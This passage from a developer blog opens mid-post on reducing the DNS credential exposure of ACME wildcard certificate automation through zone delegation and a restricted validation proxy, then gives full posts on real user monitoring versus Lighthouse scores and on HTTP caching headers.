example.com
├── A: 1.2.3.4
├── MX: mail.example.com
└── CNAME: _acme-challenge -> _acme-challenge.acme.example.com

// Separate validation zone (expendable)
acme.example.com
└── TXT: _acme-challenge (ACME can only touch this)

Now your ACME client only needs access to acme.example.com. If it gets compromised, attackers can't touch your actual domain.

Implementation:

# In your main DNS zone, add:
_acme-challenge.example.com. CNAME _acme-challenge.acme.example.com.

# Give CertBot credentials only for acme.example.com zone
# Your main zone stays protected

Solution 2: Proxy Your DNS Validation

Build or use a proxy service that only allows TXT record updates for ACME:

// Simple DNS validation proxy
const express = require('express');
const app = express();

app.post('/update-acme-challenge', async (req, res) => {
  const { domain, value } = req.body;

  // CRITICAL: Validate this is only ACME challenges
  if (!domain.startsWith('_acme-challenge.')) {
    return res.status(403).send('Nice try');
  }

  if (!value.match(/^[a-zA-Z0-9_-]{43}$/)) {
    return res.status(403).send('Invalid ACME challenge');
  }

  // Only NOW do we use the real DNS credentials
  await updateDNSRecord({
    type: 'TXT',
    name: domain,
    content: value,
    ttl: 60 // Short TTL for challenges
  });

  res.send('OK');
});

// Your CertBot hooks call this proxy, not DNS directly

Solution 3: Use a Service That Gets It

Some services handle this correctly by design. They proxy DNS validation without ever giving you (or your scripts) full DNS access. You authenticate with them, they handle the DNS dance with limited permissions.

We built this into CertKit because we were tired of seeing companies hand over their DNS keys. But whether you use our service or build your own proxy, the key is: never give automated processes full DNS access.

What You Should Do Today

Audit your DNS token permissions - What can they really do?
Implement DNS delegation - Separate your ACME challenges
Rotate your credentials - Assume they're already compromised
Use short-lived tokens - If your provider supports it
Monitor DNS changes - Get alerts for any modifications
Consider alternatives - Maybe you don't need wildcards

The wildcard certificate you set up in 5 minutes? It might be the most dangerous configuration in your entire stack.

At least now you know.

Why Your Perfect Lighthouse Score Doesn't Mean Your Site is Fast

Todd H. Gardner — Thu, 05 Jun 2025 15:46:00 +0000

Great Lighthouse scores, but users still complain your site is slow? You're not alone.

Here's a shocking reality check: Google's research found that 50% of websites with perfect Lighthouse scores still fail Core Web Vitals when measured with real user data. Half!

That means half the developers celebrating perfect synthetic scores are actually delivering poor performance to their real users.

The Problem with Synthetic Testing

Lighthouse and PageSpeed Insights run in perfect, controlled environments. They simulate an "85th percentile user" — but their simulation is usually wrong for your specific audience.

Real-world variables synthetic tests miss:

Network packet loss and latency spikes
Device thermal throttling during extended use
Background apps competing for resources
Browser extensions affecting performance
User behavior patterns (scrolling, multitasking)
Third-party vendor outages

Your developer-focused B2B app has completely different users than a consumer social platform, but Lighthouse treats them the same.

What Real User Monitoring Actually Shows You

Real User Monitoring (RUM) collects performance data from actual user sessions as they happen. Instead of guessing what your users experience, RUM shows you the reality.

RUM catches problems synthetic testing misses:

🔍 Dynamic content issues - Your personalization engine might be fast for new users but slow for power users with complex data

📱 Device-specific problems - That Android phone model struggling with your animations

💰 Business-critical scenarios - Your checkout flow performing poorly during Black Friday traffic spikes

🌍 Geographic variations - Users in different regions experiencing network infrastructure problems

The Complete Strategy

Don't abandon synthetic testing — use both tools strategically:

Development: Use Lighthouse to catch obvious issues before shipping
Production: Use RUM to see what actually needs fixing for real users
Investigation: When RUM spots problems, use synthetic testing to understand why
Validation: Confirm your fixes actually help real users with RUM

Why This Matters for Your Career

Understanding real user performance isn't just about better metrics — it's about:

Fixing problems that actually cost revenue
Prioritizing work based on real user impact
Making data-driven performance decisions
Building faster experiences users actually notice

Getting Started

The fastest way to see the gap between your synthetic scores and real user experience? Install Real User Monitoring and prepare to be surprised by what you discover.

Most developers find performance issues they never knew existed within their first week of real user monitoring.

Want the full deep-dive? I wrote a comprehensive guide covering everything from RUM implementation to business impact analysis: Why You Need Real User Monitoring to Really Understand Your Web Performance

What's been your experience with synthetic vs. real user performance? Have you found gaps between your Lighthouse scores and actual user complaints? Share your stories in the comments! 👇

HTTP Caching Deep Dive: Performance Optimization Patterns Every Developer Should Know

Todd H. Gardner — Fri, 28 Feb 2025 17:00:08 +0000

As web developers, we're often so focused on writing clean code that we overlook one of the most powerful performance tools at our disposal: HTTP caching. Let's explore some advanced caching patterns that can dramatically improve your application's performance without writing a single line of JavaScript.

The Caching Mindset Shift 🧠

Most performance optimization starts with the wrong question: "How can I make my site faster?" The better question is: "How can I avoid sending data altogether?" HTTP caching answers this beautifully.

# The magical one-liner that can cut load times in half
Cache-Control: public, max-age=31536000, immutable

This simple header can transform your application's performance profile by telling browsers, "Don't even ask for this file again for a year."

We recently wrote a comprehensive guide to HTTP caching headers that breaks down the complete specification into practical recipes, but let's focus on some developer-specific implementation patterns here.

Resource-Specific Caching Strategies

Not all resources are created equal. Strategic caching requires different approaches for different asset types:

Static Assets (CSS/JS/Images)

These should be cached aggressively with versioned filenames:

# Your browser's equivalent of "I'll remember this forever"
Cache-Control: public, max-age=31536000, immutable

The immutable directive is particularly powerful - it tells browsers not to revalidate the resource during page refresh, eliminating unnecessary network requests.

HTML Documents

These need more careful handling:

# Short cache time with validation
Cache-Control: public, max-age=300, must-revalidate

Cache Validation: The Unsung Hero

While most developers focus on cache duration, validation headers are equally important. They determine what happens when cache expires:

# Response includes:
ETag: "123abc987654"

# Later browser request includes:
If-None-Match: "123abc987654"

# Server responds with 304 Not Modified (no body!)

This validation dance is pure magic - your server sends only HTTP headers instead of full responses when content hasn't changed!

Cache-Busting: The Deployment Superpower

When you deploy changes, you need to invalidate caches. The cleanest approach is content-hashed filenames:

styles.d41d8cd98f.css

This pattern enables aggressive caching while ensuring users always get the latest version after deploys. Most build tools (Webpack, Rollup, Parcel) handle this automatically.

Common Pitfalls to Avoid

I've seen these mistakes cause serious performance issues:

Over-caching dynamic content - Accidentally caching personalized content
Under-caching static assets - Missing massive performance gains
The dreaded no-store directive - Forcing full downloads on every page load
Confusing no-cache with "don't cache" - It actually means "revalidate before using"

Real-World Impact

On a recent project, implementing proper HTTP caching reduced page load times by 67% and cut bandwidth usage in half. The best part? It took just 30 minutes to configure.

Remember: The fastest HTTP request is the one you never make. Proper caching ensures you only download what's necessary, when it's necessary.

Want to learn more about HTTP caching? Check out our comprehensive guide on Request Metrics.

What caching strategies have you implemented in your projects? Share your experiences in the comments!